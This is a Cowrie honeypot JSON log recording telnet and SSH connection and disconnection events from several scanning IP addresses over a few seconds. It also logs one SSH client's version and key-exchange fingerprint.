{"eventid":"cowrie.session.closed","duration":30.304274797439575,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:43.244239Z","src_ip":"51.15.157.40","session":"39bb6c3cfe6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.2024405002594,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:43.258029Z","src_ip":"157.15.20.138","session":"a8a945b7a732","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":58382,"dst_ip":"159.203.135.109","dst_port":23,"session":"06ccf7fa9c14","protocol":"telnet","message":"New connection: 51.15.157.40:58382 (159.203.135.109:23) [session: 06ccf7fa9c14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:43.454015Z"}
{"eventid":"cowrie.session.closed","duration":31.141178369522095,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:43.626073Z","src_ip":"51.15.157.40","session":"4443e4dc98e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.631377935409546,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:44.161022Z","src_ip":"157.15.20.138","session":"0329d181e9ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58356738090515,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:44.189810Z","src_ip":"104.236.196.85","session":"a3967aff91cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":50688,"dst_ip":"159.203.135.109","dst_port":23,"session":"6402fb4f33e1","protocol":"telnet","message":"New connection: 103.171.45.122:50688 (159.203.135.109:23) [session: 6402fb4f33e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:44.200123Z"}
{"eventid":"cowrie.session.closed","duration":30.809321880340576,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:44.209330Z","src_ip":"157.15.20.138","session":"d8ca5bc10607","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.264936923980713,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:44.283933Z","src_ip":"157.15.20.138","session":"30969c1b7d60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15533685684204,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:44.359983Z","src_ip":"103.171.45.122","session":"d065fd27eb25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":33589,"dst_ip":"159.203.135.109","dst_port":23,"session":"02afb1ed234e","protocol":"telnet","message":"New connection: 51.15.157.40:33589 (159.203.135.109:23) [session: 02afb1ed234e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:44.480752Z"}
{"eventid":"cowrie.session.closed","duration":31.40937566757202,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:44.505867Z","src_ip":"51.15.157.40","session":"09ecd9f0e0a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87924075126648,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:44.631019Z","src_ip":"51.15.157.40","session":"9ddeb21bba5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.69.168","src_port":9430,"dst_ip":"159.203.135.109","dst_port":23,"session":"7023c3fda4ef","protocol":"telnet","message":"New connection: 162.240.69.168:9430 (159.203.135.109:23) [session: 7023c3fda4ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:44.719821Z"}
{"eventid":"cowrie.session.closed","duration":31.112576961517334,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:45.059120Z","src_ip":"51.15.157.40","session":"87ae8ab1846a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":46998,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a133e93e18a","protocol":"telnet","message":"New connection: 62.171.133.168:46998 (159.203.135.109:23) [session: 1a133e93e18a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:45.169262Z"}
{"eventid":"cowrie.session.closed","duration":31.0739688873291,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:45.265654Z","src_ip":"157.15.20.138","session":"044fb7bb4115","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":36198,"dst_ip":"159.203.135.109","dst_port":23,"session":"df9a55914ca5","protocol":"telnet","message":"New connection: 51.15.157.40:36198 (159.203.135.109:23) [session: df9a55914ca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:45.284002Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":46740,"dst_ip":"159.203.135.109","dst_port":23,"session":"74028acddb01","protocol":"telnet","message":"New connection: 104.236.196.85:46740 (159.203.135.109:23) [session: 74028acddb01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:45.321145Z"}
{"eventid":"cowrie.session.closed","duration":30.84348440170288,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:45.377181Z","src_ip":"51.15.157.40","session":"5ccdf03ca46e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":37104,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2217b85ce3b","protocol":"telnet","message":"New connection: 51.15.157.40:37104 (159.203.135.109:23) [session: b2217b85ce3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:45.503680Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":34006,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3e5e25de71d","protocol":"telnet","message":"New connection: 51.15.157.40:34006 (159.203.135.109:23) [session: b3e5e25de71d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:45.587272Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":60256,"dst_ip":"159.203.135.109","dst_port":23,"session":"50c115928e66","protocol":"telnet","message":"New connection: 157.15.20.138:60256 (159.203.135.109:23) [session: 50c115928e66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:45.594555Z"}
{"eventid":"cowrie.session.closed","duration":30.8648738861084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:45.601297Z","src_ip":"51.15.157.40","session":"d576dfe784d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18596339225769,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:46.271631Z","src_ip":"157.15.20.138","session":"3047484dc766","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":50704,"dst_ip":"159.203.135.109","dst_port":23,"session":"88246da675a1","protocol":"telnet","message":"New connection: 103.171.45.122:50704 (159.203.135.109:23) [session: 88246da675a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:46.451485Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":40108,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1be3c5964d3","protocol":"telnet","message":"New connection: 51.15.157.40:40108 (159.203.135.109:23) [session: e1be3c5964d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:46.458449Z"}
{"eventid":"cowrie.session.closed","duration":31.24836230278015,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:46.588859Z","src_ip":"51.15.157.40","session":"7eecf14022d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":41168,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ea1e6b75e4f","protocol":"telnet","message":"New connection: 51.15.157.40:41168 (159.203.135.109:23) [session: 6ea1e6b75e4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:46.777753Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":41626,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a5d619efbf3","protocol":"telnet","message":"New connection: 51.15.157.40:41626 (159.203.135.109:23) [session: 1a5d619efbf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:46.936206Z"}
{"eventid":"cowrie.session.closed","duration":31.246812343597412,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:47.550528Z","src_ip":"51.15.157.40","session":"939dac9e0c42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":52048,"dst_ip":"159.203.135.109","dst_port":23,"session":"66aebe2b19fc","protocol":"telnet","message":"New connection: 157.15.20.138:52048 (159.203.135.109:23) [session: 66aebe2b19fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:47.984986Z"}
{"eventid":"cowrie.session.closed","duration":30.9770770072937,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:48.222169Z","src_ip":"51.15.157.40","session":"73b1aa307f15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.566153526306152,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:48.385927Z","src_ip":"157.15.20.138","session":"f7f08bbd51b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":43644,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a818d6ba2d8","protocol":"telnet","message":"New connection: 51.15.157.40:43644 (159.203.135.109:23) [session: 6a818d6ba2d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:48.541605Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":37389,"dst_ip":"159.203.135.109","dst_port":23,"session":"053d7531f5c0","protocol":"telnet","message":"New connection: 51.15.157.40:37389 (159.203.135.109:23) [session: 053d7531f5c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:48.617241Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.39.83.70","src_port":39730,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf16b92b78f3","protocol":"telnet","message":"New connection: 89.39.83.70:39730 (159.203.135.109:23) [session: bf16b92b78f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:48.733603Z"}
{"eventid":"cowrie.session.closed","duration":31.427791595458984,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:48.753267Z","src_ip":"51.15.157.40","session":"fdce1c9dbeb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":50716,"dst_ip":"159.203.135.109","dst_port":23,"session":"09d62eda7866","protocol":"telnet","message":"New connection: 103.171.45.122:50716 (159.203.135.109:23) [session: 09d62eda7866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:48.831246Z"}
{"eventid":"cowrie.session.closed","duration":30.5740008354187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:49.214197Z","src_ip":"157.15.20.138","session":"66bb78edbeb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":39376,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e042405978f","protocol":"telnet","message":"New connection: 51.15.157.40:39376 (159.203.135.109:23) [session: 7e042405978f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:49.290355Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":52050,"dst_ip":"159.203.135.109","dst_port":23,"session":"41f1d90a6cea","protocol":"telnet","message":"New connection: 157.15.20.138:52050 (159.203.135.109:23) [session: 41f1d90a6cea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:49.784067Z"}
{"eventid":"cowrie.session.closed","duration":31.347845554351807,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:49.835318Z","src_ip":"103.171.45.122","session":"7903d833baa7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":51134,"dst_ip":"159.203.135.109","dst_port":23,"session":"12ff02afe579","protocol":"telnet","message":"New connection: 51.15.157.40:51134 (159.203.135.109:23) [session: 12ff02afe579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:49.863714Z"}
{"eventid":"cowrie.session.closed","duration":30.527211904525757,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:50.159105Z","src_ip":"157.15.20.138","session":"54bf31e6a788","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00754690170288,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:50.174006Z","src_ip":"157.15.20.138","session":"f92772c16220","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.198602437973022,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:50.330222Z","src_ip":"51.15.157.40","session":"a896406bfee5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":43580,"dst_ip":"159.203.135.109","dst_port":22,"session":"16ad311f4113","protocol":"ssh","message":"New connection: 122.168.114.167:43580 (159.203.135.109:22) [session: 16ad311f4113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:50.389972Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":53588,"dst_ip":"159.203.135.109","dst_port":23,"session":"13544949758d","protocol":"telnet","message":"New connection: 51.15.157.40:53588 (159.203.135.109:23) [session: 13544949758d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:50.665242Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":52062,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa2ab29a87cf","protocol":"telnet","message":"New connection: 157.15.20.138:52062 (159.203.135.109:23) [session: fa2ab29a87cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:50.687435Z"}
{"eventid":"cowrie.session.closed","duration":30.954997539520264,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:50.855702Z","src_ip":"51.15.157.40","session":"19667ad8e850","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.467467784881592,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:50.951917Z","src_ip":"51.15.157.40","session":"70361dc92a2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.36244797706604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:51.013587Z","src_ip":"34.69.118.1","session":"212bcfe49df1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":50730,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd691aacd86b","protocol":"telnet","message":"New connection: 103.171.45.122:50730 (159.203.135.109:23) [session: fd691aacd86b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:51.022284Z"}
{"eventid":"cowrie.session.closed","duration":30.422512769699097,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:51.083608Z","src_ip":"51.15.157.40","session":"4f1c1e097c49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69748854637146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:51.235627Z","src_ip":"103.171.45.122","session":"4411cb28895f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54961633682251,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:51.246993Z","src_ip":"51.15.157.40","session":"24f52b17be90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.559401988983154,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:51.261727Z","src_ip":"104.236.196.85","session":"e6ccba98db72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.36774754524231,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:51.274806Z","src_ip":"51.15.157.40","session":"4a974daf358c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":52064,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b82ef29902d","protocol":"telnet","message":"New connection: 157.15.20.138:52064 (159.203.135.109:23) [session: 8b82ef29902d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:51.664163Z"}
{"eventid":"cowrie.session.closed","duration":30.788880586624146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:51.714950Z","src_ip":"51.15.157.40","session":"826e602ee5a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.040984630584717,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:51.875105Z","src_ip":"157.15.20.138","session":"d3189884c0ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.0827317237854,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:52.007193Z","src_ip":"157.15.20.138","session":"56ef116a85b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.462143182754517,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:52.085647Z","src_ip":"62.171.133.168","session":"154ebef7d9fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":52070,"dst_ip":"159.203.135.109","dst_port":23,"session":"46860bdefb91","protocol":"telnet","message":"New connection: 157.15.20.138:52070 (159.203.135.109:23) [session: 46860bdefb91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:52.153653Z"}
{"eventid":"cowrie.session.closed","duration":30.35211443901062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:52.162498Z","src_ip":"51.15.157.40","session":"ab24d80c971f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84024977684021,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:52.223494Z","src_ip":"51.15.157.40","session":"b1acb0a3d31e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":59622,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff278e55fed2","protocol":"telnet","message":"New connection: 34.69.118.1:59622 (159.203.135.109:23) [session: ff278e55fed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:52.280284Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":58610,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3092923c38f","protocol":"telnet","message":"New connection: 51.15.157.40:58610 (159.203.135.109:23) [session: e3092923c38f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:52.371104Z"}
{"eventid":"cowrie.session.closed","duration":120.0010929107666,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:52.376339Z","src_ip":"109.224.242.7","session":"f1e8808b77a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7231764793396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:52.644828Z","src_ip":"51.15.157.40","session":"6d8d6e191277","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8184757232666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:52.676367Z","src_ip":"51.15.157.40","session":"f0c2624f0e75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":52072,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4af248d6b46","protocol":"telnet","message":"New connection: 157.15.20.138:52072 (159.203.135.109:23) [session: b4af248d6b46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:52.731402Z"}
{"eventid":"cowrie.session.closed","duration":31.981139659881592,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:52.881979Z","src_ip":"157.15.20.138","session":"aa4143d70f37","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:52.965667Z","src_ip":"122.168.114.167","session":"16ad311f4113","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:52.969760Z","src_ip":"122.168.114.167","session":"16ad311f4113","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":50736,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e5f225cace0","protocol":"telnet","message":"New connection: 103.171.45.122:50736 (159.203.135.109:23) [session: 3e5f225cace0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:53.037968Z"}
{"eventid":"cowrie.session.closed","duration":31.236854791641235,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:53.328413Z","src_ip":"103.171.45.122","session":"464c7fcc780f","protocol":"telnet"}
